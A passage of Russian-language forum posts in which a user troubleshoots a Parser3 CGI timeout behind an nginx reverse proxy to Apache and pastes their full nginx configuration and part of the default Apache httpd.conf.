\"Классу curl добавлена новая опция: $.ipresolve(0|1|2). Кроме этого, теперь по умолчанию curl использует IPv4(1), а не IPv6(2).\"\
\
Поскольку:\
\
> host graph.facebook.com\
graph.facebook.com is an alias for api.facebook.com.\
api.facebook.com is an alias for star.c10r.facebook.com.\
star.c10r.facebook.com has address 69.171.237.20\
star.c10r.facebook.com has IPv6 address 2a03:2880:10:cf07:face:b00c:0:1\
star.c10r.facebook.com mail is handled by 10 msgin.t.facebook.com."
"79170","Попробуйте обратится к проблемному месту через http://178.20.155.230:81\
Напрямую к апачу. Судя по всему ваш запрос обрабатывается очень долго курлом и nginx просто не дожидается ответа от апача."
"79171","При обращении к http://178.20.155.230:81/ идет 301 редирект на http://www.178.20.155.230:81/\
Одновременно задать и субдомен и ip-адрес нельзя. Вы привели лишь часть конфига nginx, по этому я не могу сказать, как дальше сервер обрабатывает данную ситуацию. Ищите проблему здесь."
"79172","А проблема вообще в Apache оказалась... \
\
[code][Tue Nov 12 11:21:46 2013] [warn] [client 93.73.10.159] Timeout waiting for output from CGI script /home/balashovcomua/data/www/balashov.com.ua/cgi-bin/parser3.cgi\
[Tue Nov 12 11:21:46 2013] [error] [client 93.73.10.159] Script timed out before returning headers: parser3.cgi[/code]\
\
\
Теперь моя быть в полном ступоре. Потому что без Nginx все работает ок... Я в настройках сервера не очень силен, помогите..."
"79173","Так же рекомендую закрыть порт 81 из вне, или проще, переоткрыть только на localhost:81"
"79174","[code]\
#user  nobody;\
worker_processes  2;\
\
error_log  logs/error.log;\
#error_log  logs/error.log  notice;\
#error_log  logs/error.log  info;\
\
#pid        /var/run/nginx.pid;\
\
\
events {\
    worker_connections  1024;\
}\
\
\
http {\
    include       mime.types;\
    default_type  application/octet-stream;\
\
    charset utf-8;\
\
    gzip_static      on;\
	gzip             on;\
	gzip_proxied     any; #Даем понять веб-серверу, что можно жать все проксированные запросы\
gzip_types       text/plain application/xml application/x-javascript text/javascript text/css text/json; #Указываем MIME типы, которые будут сжиматься\
gzip_disable     «msie6&#8243;; # Отключаем сжатие для 6-го эксплорера\
gzip_comp_level  6; # Указываем степень сжатия от 1 до 10, 6 — золотая середина (жрет немного процессорного времени и оптимально ужимает)\
\
    #log_format  main  '$remote_addr - $remote_user [$time_local] \"$request\" '\
    #                  '$status $body_bytes_sent \"$http_referer\" '\
    #                  '\"$http_user_agent\" \"$http_x_forwarded_for\"';\
\
    access_log  logs/access.log;\
\
    sendfile        on;\
    #tcp_nopush     on;\
\
    #keepalive_timeout  0;\
    keepalive_timeout  65;\
    log_not_found off;\
\
    #gzip  on;\
\
\
\
    # another virtual host using mix of IP-, name-, and port-based configuration\
    #\
    #server {\
    #    listen       8000;\
    #    listen       somename:8080;\
    #    server_name  somename  alias  another.alias;\
\
    #    location / {\
    #        root   html;\
    #        index  index.html index.htm;\
    #    }\
    #}\
\
\
    # HTTPS server\
    #\
    #server {\
    #    listen       443;\
    #    server_name  localhost;\
\
    #    ssl                  on;\
    #    ssl_certificate      cert.pem;\
    #    ssl_certificate_key  cert.key;\
\
    #    ssl_session_timeout  5m;\
\
    #    ssl_protocols  SSLv2 SSLv3 TLSv1;\
    #    ssl_ciphers  HIGH:!aNULL:!MD5;\
    #    ssl_prefer_server_ciphers   on;\
\
    #    location / {\
    #        root   html;\
    #        index  index.html index.htm;\
    #    }\
    #}\
\
	include /usr/local/ispmgr/etc/nginx.domain;\
	client_max_body_size 65M;\
	log_format isp '$bytes_sent $request_length';\
	server {\
		server_name dom.balashov.com.ua www.dom.balashov.com.ua;\
		listen 178.20.155.230;\
		charset utf-8;\
		disable_symlinks if_not_owner from=$root_path;\
		set $root_path /home/balashovcomua/data/www/dom.balashov.com.ua;\
		location ~* ^.+\\.(jpg|jpeg|gif|png|svg|js|css|mp3|ogg|mpe?g|avi|zip|gz|bz2?|rar|swf)$ {\
			root $root_path;\
			access_log /home/nginx-logs/balashovcomua isp;\
			access_log /home/httpd-logs/dom.balashov.com.ua.access.log ;\
			error_page 404 = @fallback;\
		}\
		location / {\
			proxy_pass http://178.20.155.230:81;\
			proxy_redirect http://178.20.155.230:81/ /;\
			proxy_set_header Host $host;\
			proxy_set_header X-Forwarded-For $proxy_add_x_forwarded_for;\
			proxy_set_header X-Forwarded-Proto $scheme;\
			proxy_set_header X-Real-IP $remote_addr;\
		}\
		location ~* ^/(webstat|awstats|webmail|myadmin|pgadmin)/ {\
			proxy_pass http://178.20.155.230:81;\
			proxy_redirect http://178.20.155.230:81/ /;\
			proxy_set_header Host $host;\
			proxy_set_header X-Forwarded-For $proxy_add_x_forwarded_for;\
			proxy_set_header X-Forwarded-Proto $scheme;\
			proxy_set_header X-Real-IP $remote_addr;\
		}\
		location @fallback {\
			proxy_pass http://178.20.155.230:81;\
			proxy_set_header Host $host;\
			proxy_set_header X-Forwarded-For $proxy_add_x_forwarded_for;\
			proxy_set_header X-Forwarded-Proto $scheme;\
			proxy_set_header X-Real-IP $remote_addr;\
		}\
		include /usr/local/ispmgr/etc/nginx.inc;\
	}\
	server {\
		server_name 510.balashov.com.ua www.510.balashov.com.ua;\
		listen 178.20.155.230;\
		charset utf8;\
		disable_symlinks if_not_owner from=$root_path;\
		set $root_path /home/balashovcomua/data/www/510.balashov.com.ua;\
		location ~* ^.+\\.(jpg|jpeg|gif|png|svg|js|css|mp3|ogg|mpe?g|avi|zip|gz|bz2?|rar|swf)$ {\
			root $root_path;\
			access_log /home/nginx-logs/balashovcomua isp;\
			access_log /home/httpd-logs/510.balashov.com.ua.access.log ;\
			error_page 404 = @fallback;\
		}\
		location / {\
			proxy_pass http://178.20.155.230:81;\
			proxy_redirect http://178.20.155.230:81/ /;\
			proxy_set_header Host $host;\
			proxy_set_header X-Forwarded-For $proxy_add_x_forwarded_for;\
			proxy_set_header X-Forwarded-Proto $scheme;\
			proxy_set_header X-Real-IP $remote_addr;\
		}\
		location ~* ^/(webstat|awstats|webmail|myadmin|pgadmin)/ {\
			proxy_pass http://178.20.155.230:81;\
			proxy_redirect http://178.20.155.230:81/ /;\
			proxy_set_header Host $host;\
			proxy_set_header X-Forwarded-For $proxy_add_x_forwarded_for;\
			proxy_set_header X-Forwarded-Proto $scheme;\
			proxy_set_header X-Real-IP $remote_addr;\
		}\
		location @fallback {\
			proxy_pass http://178.20.155.230:81;\
			proxy_set_header Host $host;\
			proxy_set_header X-Forwarded-For $proxy_add_x_forwarded_for;\
			proxy_set_header X-Forwarded-Proto $scheme;\
			proxy_set_header X-Real-IP $remote_addr;\
		}\
		include /usr/local/ispmgr/etc/nginx.inc;\
	}\
	server {\
		server_name lipki.com.ua www.lipki.com.ua;\
		listen 178.20.155.231;\
		listen 178.20.155.231:443 ssl;\
		charset windows-1251;\
		disable_symlinks if_not_owner from=$root_path;\
		set $root_path /home/lipki/data/www/lipki.com.ua;\
\
		location /photos {\
			root $root_path;\
  			rewrite ^(/photos/.*)\\.(jpg|png|jpeg|gif)$ /tools/thumbs.php?imgname=$1.$2;\
  			      #Кеширум картинки месяца на 4\
      gzip_static on;\
      expires 1M;\
      #Кешируем везде (и на прокси и на клиентах)\
      add_header Cache-Control public;\
		}\
\
\
\
   location ~* \\.(css|js|ico) {\
   root   $root_path;\
    # разрешаем отдавать вместо несжатого файла предварительно\
    # сжатый с постфиксом \".gz\", если такой есть\
    gzip_static on;\
    #запрещаем сжатие файлов CSS и JS для проблемных браузеров\
    \
    #Кешируем месяца на 2\
    expires 2M;\
    #Кешируем только на клиентах (ибо сжатое)\
    add_header Cache-Control private;\
   }\
\
		# location ~* ^.+\\.(jpg|jpeg|gif|png|svg|js|css|mp3|ogg|mpe?g|avi|zip|gz|bz2?|rar|swf)$ {\
		# 	root $root_path;\
		# 	access_log /home/nginx-logs/lipki isp;\
		# 	access_log /home/httpd-logs/lipki.com.ua.access.log ;\
		# 	error_page 404 = @fallback;\
		# }\
		location / {\
			root $root_path;\
			proxy_pass http://178.20.155.231:81;\
			proxy_redirect http://178.20.155.231:81/ /;\
			proxy_set_header Host $host;\
			proxy_set_header X-Forwarded-For $proxy_add_x_forwarded_for;\
			proxy_set_header X-Forwarded-Proto $scheme;\
			proxy_set_header X-Real-IP $remote_addr;\
		}\
		location ~* ^/(webstat|awstats|webmail|myadmin|pgadmin)/ {\
			proxy_pass http://178.20.155.231:81;\
			proxy_redirect http://178.20.155.231:81/ /;\
			proxy_set_header Host $host;\
			proxy_set_header X-Forwarded-For $proxy_add_x_forwarded_for;\
			proxy_set_header X-Forwarded-Proto $scheme;\
			proxy_set_header X-Real-IP $remote_addr;\
		}\
		location @fallback {\
			proxy_pass http://178.20.155.231:81;\
			proxy_set_header Host $host;\
			proxy_set_header X-Forwarded-For $proxy_add_x_forwarded_for;\
			proxy_set_header X-Forwarded-Proto $scheme;\
			proxy_set_header X-Real-IP $remote_addr;\
		}\
		include /usr/local/ispmgr/etc/nginx.inc;\
		ssl_certificate /home/httpd-cert/lipki/lipki.com.ua.crt;\
		ssl_certificate_key /home/httpd-cert/lipki/lipki.com.ua.key;\
	}\
	server {\
		server_name old.balashov.com.ua www.old.balashov.com.ua;\
		listen 178.20.155.230;\
		charset utf-8;\
		disable_symlinks if_not_owner from=$root_path;\
		set $root_path /home/balashovcomua/data/www/old.balashov.com.ua;\
		location ~* ^.+\\.(jpg|jpeg|gif|png|svg|js|css|mp3|ogg|mpe?g|avi|zip|gz|bz2?|rar|swf)$ {\
			root $root_path;\
			access_log /home/nginx-logs/balashovcomua isp;\
			access_log /home/httpd-logs/old.balashov.com.ua.access.log ;\
			error_page 404 = @fallback;\
		}\
		location / {\
			proxy_pass http://178.20.155.230:81;\
			proxy_redirect http://178.20.155.230:81/ /;\
			proxy_set_header Host $host;\
			proxy_set_header X-Forwarded-For $proxy_add_x_forwarded_for;\
			proxy_set_header X-Forwarded-Proto $scheme;\
			proxy_set_header X-Real-IP $remote_addr;\
		}\
		location ~* ^/(webstat|awstats|webmail|myadmin|pgadmin)/ {\
			proxy_pass http://178.20.155.230:81;\
			proxy_redirect http://178.20.155.230:81/ /;\
			proxy_set_header Host $host;\
			proxy_set_header X-Forwarded-For $proxy_add_x_forwarded_for;\
			proxy_set_header X-Forwarded-Proto $scheme;\
			proxy_set_header X-Real-IP $remote_addr;\
		}\
		location @fallback {\
			proxy_pass http://178.20.155.230:81;\
			proxy_set_header Host $host;\
			proxy_set_header X-Forwarded-For $proxy_add_x_forwarded_for;\
			proxy_set_header X-Forwarded-Proto $scheme;\
			proxy_set_header X-Real-IP $remote_addr;\
		}\
		include /usr/local/ispmgr/etc/nginx.inc;\
	}\
	server {\
		server_name new.balashov.com.ua www.new.balashov.com.ua;\
		listen 178.20.155.230;\
		charset utf-8;\
		disable_symlinks if_not_owner from=$root_path;\
		set $root_path /home/balashovcomua/data/www/new.balashov.com.ua;\
		location ~* ^.+\\.(jpg|jpeg|gif|png|svg|js|css|mp3|ogg|mpe?g|avi|zip|gz|bz2?|rar|swf)$ {\
			root $root_path;\
			access_log /home/nginx-logs/balashovcomua isp;\
			access_log /home/httpd-logs/new.balashov.com.ua.access.log ;\
			error_page 404 = @fallback;\
		}\
		location / {\
			proxy_pass http://178.20.155.230:81;\
			proxy_redirect http://178.20.155.230:81/ /;\
			proxy_set_header Host $host;\
			proxy_set_header X-Forwarded-For $proxy_add_x_forwarded_for;\
			proxy_set_header X-Forwarded-Proto $scheme;\
			proxy_set_header X-Real-IP $remote_addr;\
		}\
		location ~* ^/(webstat|awstats|webmail|myadmin|pgadmin)/ {\
			proxy_pass http://178.20.155.230:81;\
			proxy_redirect http://178.20.155.230:81/ /;\
			proxy_set_header Host $host;\
			proxy_set_header X-Forwarded-For $proxy_add_x_forwarded_for;\
			proxy_set_header X-Forwarded-Proto $scheme;\
			proxy_set_header X-Real-IP $remote_addr;\
		}\
		location @fallback {\
			proxy_pass http://178.20.155.230:81;\
			proxy_set_header Host $host;\
			proxy_set_header X-Forwarded-For $proxy_add_x_forwarded_for;\
			proxy_set_header X-Forwarded-Proto $scheme;\
			proxy_set_header X-Real-IP $remote_addr;\
		}\
		include /usr/local/ispmgr/etc/nginx.inc;\
	}\
	server {\
		server_name m.radiobalashov.com.ua www.m.radiobalashov.com.ua;\
		listen 178.20.155.231;\
		charset utf-8;\
		disable_symlinks if_not_owner from=$root_path;\
		set $root_path /home/balashov/data/www/m.radiobalashov.com.ua;\
		location ~* ^.+\\.(jpg|jpeg|gif|png|svg|js|css|mp3|ogg|mpe?g|avi|zip|gz|bz2?|rar|swf)$ {\
			root $root_path;\
			access_log /home/nginx-logs/balashov isp;\
			access_log /home/httpd-logs/m.radiobalashov.com.ua.access.log ;\
			error_page 404 = @fallback;\
		}\
		location / {\
			proxy_pass http://178.20.155.231:81;\
			proxy_redirect http://178.20.155.231:81/ /;\
			proxy_set_header Host $host;\
			proxy_set_header X-Forwarded-For $proxy_add_x_forwarded_for;\
			proxy_set_header X-Forwarded-Proto $scheme;\
			proxy_set_header X-Real-IP $remote_addr;\
		}\
		location ~* ^/(webstat|awstats|webmail|myadmin|pgadmin)/ {\
			proxy_pass http://178.20.155.231:81;\
			proxy_redirect http://178.20.155.231:81/ /;\
			proxy_set_header Host $host;\
			proxy_set_header X-Forwarded-For $proxy_add_x_forwarded_for;\
			proxy_set_header X-Forwarded-Proto $scheme;\
			proxy_set_header X-Real-IP $remote_addr;\
		}\
		location @fallback {\
			proxy_pass http://178.20.155.231:81;\
			proxy_set_header Host $host;\
			proxy_set_header X-Forwarded-For $proxy_add_x_forwarded_for;\
			proxy_set_header X-Forwarded-Proto $scheme;\
			proxy_set_header X-Real-IP $remote_addr;\
		}\
		include /usr/local/ispmgr/etc/nginx.inc;\
	}\
	server {\
		server_name balashov.com.ua www.balashov.com.ua;\
		listen 178.20.155.230;\
		charset utf-8;\
		disable_symlinks if_not_owner from=$root_path;\
		set $root_path /home/balashovcomua/data/www/balashov.com.ua;\
\
\
\
   #!Статический контент!\
   location ~* \\.(jpg|jpeg|gif|png|swf|tiff|swf|flv)$ {\
      root   $root_path;\
      #Кеширум картинки месяца на 4\
      gzip_static on;\
      expires 1M;\
      #Кешируем везде (и на прокси и на клиентах)\
      add_header Cache-Control public;\
   } \
\
\
   location ~* \\.(css|js|ico) {\
   root   $root_path;\
    # разрешаем отдавать вместо несжатого файла предварительно\
    # сжатый с постфиксом \".gz\", если такой есть\
    gzip_static on;\
    #запрещаем сжатие файлов CSS и JS для проблемных браузеров\
    \
    #Кешируем месяца на 2\
    expires 2M;\
    #Кешируем только на клиентах (ибо сжатое)\
    add_header Cache-Control private;\
   }\
\
\
\
		location / {\
			proxy_pass http://178.20.155.230:81;\
			proxy_redirect http://178.20.155.230:81/ /;\
\
			proxy_set_header Host $host;\
			proxy_set_header X-Forwarded-For $proxy_add_x_forwarded_for;\
			proxy_set_header X-Forwarded-Proto $scheme;\
			proxy_set_header X-Real-IP $remote_addr;\
		}\
		location ~* ^/(webstat|awstats|webmail|myadmin|pgadmin)/ {\
			proxy_pass http://178.20.155.230:81;\
			proxy_redirect http://178.20.155.230:81/ /;\
			proxy_set_header Host $host;\
			proxy_set_header X-Forwarded-For $proxy_add_x_forwarded_for;\
			proxy_set_header X-Forwarded-Proto $scheme;\
			proxy_set_header X-Real-IP $remote_addr;\
		}\
		location @fallback {\
			proxy_pass http://178.20.155.230:81;\
			proxy_set_header Host $host;\
			proxy_set_header X-Forwarded-For $proxy_add_x_forwarded_for;\
			proxy_set_header X-Forwarded-Proto $scheme;\
			proxy_set_header X-Real-IP $remote_addr;\
		}\
\
\
\
		include /usr/local/ispmgr/etc/nginx.inc;\
	}\
	server {\
		server_name asfn-podcast.com www.asfn-podcast.com;\
		listen 178.20.155.231;\
		listen 178.20.155.231:443 ssl;\
		disable_symlinks if_not_owner from=$root_path;\
		set $root_path /home/asfn/data/www/asfn-podcast.com;\
		location ~* ^.+\\.(jpg|jpeg|gif|png|svg|js|css|mp3|ogg|mpe?g|avi|zip|gz|bz2?|rar|swf)$ {\
			root $root_path;\
			access_log /home/nginx-logs/asfn isp;\
			access_log /home/httpd-logs/asfn-podcast.com.access.log ;\
			error_page 404 = @fallback;\
		}\
		location / {\
			proxy_pass http://178.20.155.231:81;\
			proxy_redirect http://178.20.155.231:81/ /;\
			proxy_set_header Host $host;\
			proxy_set_header X-Forwarded-For $proxy_add_x_forwarded_for;\
			proxy_set_header X-Forwarded-Proto $scheme;\
			proxy_set_header X-Real-IP $remote_addr;\
		}\
		location ~* ^/(webstat|awstats|webmail|myadmin|pgadmin)/ {\
			proxy_pass http://178.20.155.231:81;\
			proxy_redirect http://178.20.155.231:81/ /;\
			proxy_set_header Host $host;\
			proxy_set_header X-Forwarded-For $proxy_add_x_forwarded_for;\
			proxy_set_header X-Forwarded-Proto $scheme;\
			proxy_set_header X-Real-IP $remote_addr;\
		}\
		location @fallback {\
			proxy_pass http://178.20.155.231:81;\
			proxy_set_header Host $host;\
			proxy_set_header X-Forwarded-For $proxy_add_x_forwarded_for;\
			proxy_set_header X-Forwarded-Proto $scheme;\
			proxy_set_header X-Real-IP $remote_addr;\
		}\
		include /usr/local/ispmgr/etc/nginx.inc;\
		ssl_certificate /home/httpd-cert/asfn/asfn-podcast.com.crt;\
		ssl_certificate_key /home/httpd-cert/asfn/asfn-podcast.com.key;\
	}\
	server {\
		server_name radiobalashov.com.ua www.radiobalashov.com.ua;\
		listen 178.20.155.231;\
		listen 178.20.155.231:443 ssl;\
		disable_symlinks if_not_owner from=$root_path;\
		set $root_path /home/balashov/data/www/radiobalashov.com.ua;\
		location ~* ^.+\\.(jpg|jpeg|gif|png|svg|js|css|mp3|ogg|mpe?g|avi|zip|gz|bz2?|rar|swf)$ {\
			root $root_path;\
			access_log /home/nginx-logs/balashov isp;\
			access_log /home/httpd-logs/radiobalashov.com.ua.access.log ;\
			error_page 404 = @fallback;\
		}\
		location / {\
			proxy_pass http://178.20.155.231:81;\
			proxy_redirect http://178.20.155.231:81/ /;\
			proxy_set_header Host $host;\
			proxy_set_header X-Forwarded-For $proxy_add_x_forwarded_for;\
			proxy_set_header X-Forwarded-Proto $scheme;\
			proxy_set_header X-Real-IP $remote_addr;\
		}\
		location ~* ^/(webstat|awstats|webmail|myadmin|pgadmin)/ {\
			proxy_pass http://178.20.155.231:81;\
			proxy_redirect http://178.20.155.231:81/ /;\
			proxy_set_header Host $host;\
			proxy_set_header X-Forwarded-For $proxy_add_x_forwarded_for;\
			proxy_set_header X-Forwarded-Proto $scheme;\
			proxy_set_header X-Real-IP $remote_addr;\
		}\
		location @fallback {\
			proxy_pass http://178.20.155.231:81;\
			proxy_set_header Host $host;\
			proxy_set_header X-Forwarded-For $proxy_add_x_forwarded_for;\
			proxy_set_header X-Forwarded-Proto $scheme;\
			proxy_set_header X-Real-IP $remote_addr;\
		}\
		include /usr/local/ispmgr/etc/nginx.inc;\
		ssl_certificate /home/httpd-cert/balashov/radiobalashov.com.ua.crt;\
		ssl_certificate_key /home/httpd-cert/balashov/radiobalashov.com.ua.key;\
	}\
}\
[/code]"
"79175","[code]#\
# This is the main Apache HTTP server configuration file.  It contains the\
# configuration directives that give the server its instructions.\
# See <URL:http://httpd.apache.org/docs/2.2> for detailed information.\
# In particular, see \
# <URL:http://httpd.apache.org/docs/2.2/mod/directives.html>\
# for a discussion of each configuration directive.\
#\
# Do NOT simply read the instructions in here without understanding\
# what they do.  They're here only as hints or reminders.  If you are unsure\
# consult the online docs. You have been warned.  \
#\
# Configuration and logfile names: If the filenames you specify for many\
# of the server's control files begin with \"/\" (or \"drive:/\" for Win32), the\
# server will use that explicit path.  If the filenames do *not* begin\
# with \"/\", the value of ServerRoot is prepended -- so \"/var/log/foo_log\"\
# with ServerRoot set to \"/usr/local\" will be interpreted by the\
# server as \"/usr/local//var/log/foo_log\".\
\
#\
# ServerRoot: The top of the directory tree under which the server's\
# configuration, error, and log files are kept.\
#\
# Do not add a slash at the end of the directory path.  If you point\
# ServerRoot at a non-local disk, be sure to point the LockFile directive\
# at a local disk.  If you wish to share the same ServerRoot for multiple\
# httpd daemons, you will need to change at least LockFile and PidFile.\
#\
ServerRoot \"/usr/local\"\
\
#\
# Listen: Allows you to bind Apache to specific IP addresses and/or\
# ports, instead of the default. See also the <VirtualHost>\
# directive.\
#\
# Change this to Listen on specific IP addresses as shown below to \
# prevent Apache from glomming onto all bound IP addresses.\
#\
#Listen 12.34.56.78:80\
Listen 81\
\
#\
# Dynamic Shared Object (DSO) Support\
#\
# To be able to use the functionality of a module which was built as a DSO you\
# have to place corresponding `LoadModule' lines at this location so the\
# directives contained in it are actually available _before_ they are used.\
# Statically compiled modules (those listed by `httpd -l') do not need\
# to be loaded here.\
#\
# Example:\
# LoadModule foo_module modules/mod_foo.so\
#\
LoadModule authn_file_module libexec/apache22/mod_authn_file.so\
LoadModule authn_dbm_module libexec/apache22/mod_authn_dbm.so\
LoadModule authn_anon_module libexec/apache22/mod_authn_anon.so\
LoadModule authn_default_module libexec/apache22/mod_authn_default.so\
LoadModule authn_alias_module libexec/apache22/mod_authn_alias.so\
LoadModule authz_host_module libexec/apache22/mod_authz_host.so\
LoadModule authz_groupfile_module libexec/apache22/mod_authz_groupfile.so\
LoadModule authz_user_module libexec/apache22/mod_authz_user.so\
LoadModule authz_dbm_module libexec/apache22/mod_authz_dbm.so\
LoadModule authz_owner_module libexec/apache22/mod_authz_owner.so\
LoadModule authz_default_module libexec/apache22/mod_authz_default.so\
LoadModule auth_basic_module libexec/apache22/mod_auth_basic.so\
LoadModule auth_digest_module libexec/apache22/mod_auth_digest.so\
LoadModule file_cache_module libexec/apache22/mod_file_cache.so\
LoadModule cache_module libexec/apache22/mod_cache.so\
LoadModule disk_cache_module libexec/apache22/mod_disk_cache.so\
LoadModule dumpio_module libexec/apache22/mod_dumpio.so\
LoadModule include_module libexec/apache22/mod_include.so\
LoadModule filter_module libexec/apache22/mod_filter.so\
LoadModule charset_lite_module libexec/apache22/mod_charset_lite.so\
LoadModule deflate_module libexec/apache22/mod_deflate.so\
LoadModule log_config_module libexec/apache22/mod_log_config.so\
LoadModule logio_module libexec/apache22/mod_logio.so\
LoadModule env_module libexec/apache22/mod_env.so\
LoadModule mime_magic_module libexec/apache22/mod_mime_magic.so\
LoadModule cern_meta_module libexec/apache22/mod_cern_meta.so\
LoadModule expires_module libexec/apache22/mod_expires.so\
LoadModule headers_module libexec/apache22/mod_headers.so\
LoadModule usertrack_module libexec/apache22/mod_usertrack.so\
LoadModule setenvif_module libexec/apache22/mod_setenvif.so\
LoadModule version_module libexec/apache22/mod_version.so\
#LoadModule proxy_module libexec/apache22/mod_proxy.so\
#LoadModule ssl_module libexec/apache22/mod_ssl.so\
LoadModule mime_module libexec/apache22/mod_mime.so\
LoadModule dav_module libexec/apache22/mod_dav.so\
LoadModule status_module libexec/apache22/mod_status.so\
LoadModule autoindex_module libexec/apache22/mod_autoindex.so\
LoadModule asis_module libexec/apache22/mod_asis.so\
LoadModule info_module libexec/apache22/mod_info.so\
LoadModule suexec_module libexec/apache22/mod_suexec.so\
LoadModule cgi_module libexec/apache22/mod_cgi.so\
LoadModule dav_fs_module libexec/apache22/mod_dav_fs.so\
LoadModule vhost_alias_module libexec/apache22/mod_vhost_alias.so\
LoadModule negotiation_module libexec/apache22/mod_negotiation.so\
LoadModule dir_module libexec/apache22/mod_dir.so\
LoadModule imagemap_module libexec/apache22/mod_imagemap.so\
LoadModule actions_module libexec/apache22/mod_actions.so\
LoadModule speling_module libexec/apache22/mod_speling.so\
LoadModule userdir_module libexec/apache22/mod_userdir.so\
LoadModule alias_module libexec/apache22/mod_alias.so\
LoadModule rewrite_module libexec/apache22/mod_rewrite.so\
#LoadModule fcgid_module libexec/apache22/mod_fcgid.so\
#LoadModule rpaf_module        libexec/apache22/mod_rpaf2.so\
LoadModule php5_module        libexec/apache22/libphp5.so\
\
<IfModule !mpm_netware_module>\
<IfModule !mpm_winnt_module>\
#\
# If you wish httpd to run as a different user or group, you must run\
# httpd as root initially and it will switch.  \
#\
# User/Group: The name (or #number) of the user/group to run httpd as.\
# It is usually good practice to create a dedicated user and group for\
# running httpd, as with most system services.\
#\
User www\
Group www\
\
</IfModule>\
</IfModule>\
\
# 'Main' server configuration\
#\
# The directives in this section set up the values used by the 'main'\
# server, which responds to any requests that aren't handled by a\
# <VirtualHost> definition.  These values also provide defaults for\
# any <VirtualHost> containers you may define later in the file.\
#\
# All of these directives may appear inside <VirtualHost> containers,\
# in which case these default settings will be overridden for the\
# virtual host being defined.\
#\
\
#\
# ServerAdmin: Your address, where problems with the server should be\
# e-mailed.  This address appears on some server-generated pages, such\
# as error documents.  e.g. admin@your-domain.com\
#\
ServerAdmin you@example.com\
\
#\
# ServerName gives the name and port that the server uses to identify itself.\
# This can often be determined automatically, but we recommend you specify\
# it explicitly to prevent problems during startup.\
#\
# If your host doesn't have a registered DNS name, enter its IP address here.\
#\
#ServerName www.example.com:80\
\
#\
# DocumentRoot: The directory out of which you will serve your\
# documents. By default, all requests are taken from this directory, but\
# symbolic links and aliases may be used to point to other locations.\
#\
DocumentRoot \"/usr/local/www/apache22/data\"\
\
#\
# Each directory to which Apache has access can be configured with respect\
# to which services and features are allowed and/or disabled in that\
# directory (and its subdirectories). \
#\
# First, we configure the \"default\" to be a very restrictive set of \
# features.  \
#\
<Directory />\
    AllowOverride None\
    Order deny,allow\
    Deny from all\
</Directory>\
\
#\
# Note that from this point forward you must specifically allow\
# particular features to be enabled - so if something's not working as\
# you might expect, make sure that you have specifically enabled it\
# below.\
#\
\
#\
# This should be changed to whatever you set DocumentRoot to.\
#\
<Directory \"/usr/local/www/apache22/data\">\
    #\
    # Possible values for the Options directive are \"None\", \"All\",\
    # or any combination of:\
    #   Indexes Includes FollowSymLinks SymLinksifOwnerMatch ExecCGI MultiViews\
    #\
    # Note that \"MultiViews\" must be named *explicitly* --- \"Options All\"\
    # doesn't give it to you.\
    #\
    # The Options directive is both complicated and important.  Please see\
    # http://httpd.apache.org/docs/2.2/mod/core.html#options\
    # for more information.\
    #\
    Options Indexes FollowSymLinks\
\
    #\
    # AllowOverride controls what directives may be placed in .htaccess files.\
    # It can be \"All\", \"None\", or any combination of the keywords:\
    #   Options FileInfo AuthConfig Limit\
    #\
    AllowOverride None\
\
    #\
    # Controls who can get stuff from this server.\
    #\
    Order allow,deny\
    Allow from all\
\
</Directory>\
\
#\
# DirectoryIndex: sets the file that Apache will serve if a directory\
# is requested.\
#\
<IfModule dir_module>\
    DirectoryIndex index.html index.htm index.php index.cgi\
</IfModule>\
\
#\
# The following lines prevent .htaccess and .htpasswd files from being \
# viewed by Web clients. \
#\
<FilesMatch \"^\\.ht\">\
    Order allow,deny\
    Deny from all\
    Satisfy All\
</FilesMatch>\
\
#\
# ErrorLog: The location of the error log file.\
# If you do not specify an ErrorLog directive within a <VirtualHost>\
# container, error messages relating to that virtual host will be\
# logged here.  If you *do* define an error logfile for a <VirtualHost>\
# container, that host's errors will be logged there and not here.\
#\
ErrorLog \"/var/log/httpd-error.log\"\
\
#\
# LogLevel: Control the number of messages logged to the error_log.\
# Possible values include: debug, info, notice, warn, error, crit,\
# alert, emerg.\
#\
LogLevel warn\
\
<IfModule log_config_module>\
    #\
    # The following directives define some format nicknames for use with\
    # a CustomLog directive (see below).\
    #\
    LogFormat \"%h %l %u %t \\\"%r\\\" %>s %b \\\"%{Referer}i\\\" \\\"%{User-Agent}i\\\"\" combined\
    LogFormat \"%h %l %u %t \\\"%r\\\" %>s %b\" common\
\
    <IfModule logio_module>\
      # You need to enable mod_logio.c to use %I and %O\
      LogFormat \"%h %l %u %t \\\"%r\\\" %>s %b \\\"%{Referer}i\\\" \\\"%{User-Agent}i\\\" %I %O\" combinedio\
    </IfModule>\
\
    #\
    # The location and format of the access logfile (Common Logfile Format).\
    # If you do not define any access logfiles within a <VirtualHost>\
    # container, they will be logged here.  Contrariwise, if you *do*\
    # define per-<VirtualHost> access logfiles, transactions will be\
    # logged therein and *not* in this file.\
    #\
    #CustomLog \"/var/log/httpd-access.log\" common\
\
    #\
    # If you prefer a logfile with access, agent, and referer information\
    # (Combined Logfile Format) you can use the following directive.\
    #\
    CustomLog \"/var/log/httpd-access.log\" combined\
</IfModule>\
\
<IfModule alias_module>\
    #\
    # Redirect: Allows you to tell clients about documents that used to \
    # exist in your server's namespace, but do not anymore. The client \
    # will make a new request for the document at its new location.\
    # Example:\
    # Redirect permanent /foo http://www.example.com/bar\
\
    #\
    # Alias: Maps web paths into filesystem paths and is used to\
    # access content that does not live under the DocumentRoot.\
    # Example:\
    # Alias /webpath /full/filesystem/path\
    #\
    # If you include a trailing / on /webpath then the server will\
    # require it to be present in the URL.  You will also likely\
    # need to provide a <Directory> section to allow access to\
    # the filesystem path.\
\
    #\
    # ScriptAlias: This controls which directories contain server scripts. \
    # ScriptAliases are essentially the same as Aliases, except that\
    # documents in the target directory are treated as applications and\
    # run by the server when requested rather than as documents sent to the\
    # client.  The same rules about trailing \"/\" apply to ScriptAlias\
    # directives as to Alias.\
    #\
    ScriptAlias /cgi-bin/ \"/usr/local/www/apache22/cgi-bin/\"\
\
</IfModule>\
\
<IfModule cgid_module>\
    #\
    # ScriptSock: On threaded servers, designate the path to the UNIX\
    # socket used to communicate with the CGI daemon of mod_cgid.\
    #\
    #Scriptsock /var/run/cgisock\
</IfModule>\
\
#\
# \"/usr/local/www/apache22/cgi-bin\" should be changed to whatever your ScriptAliased\
# CGI directory exists, if you have that configured.\
#\
<Directory \"/usr/local/www/apache22/cgi-bin\">\
    AllowOverride None\
    Options None\
    Order allow,deny\
    Allow from all\
</Directory>\
\
#\
# DefaultType: the default MIME type the server will use for a document\
# if it cannot otherwise determine one, such as from filename extensions.\
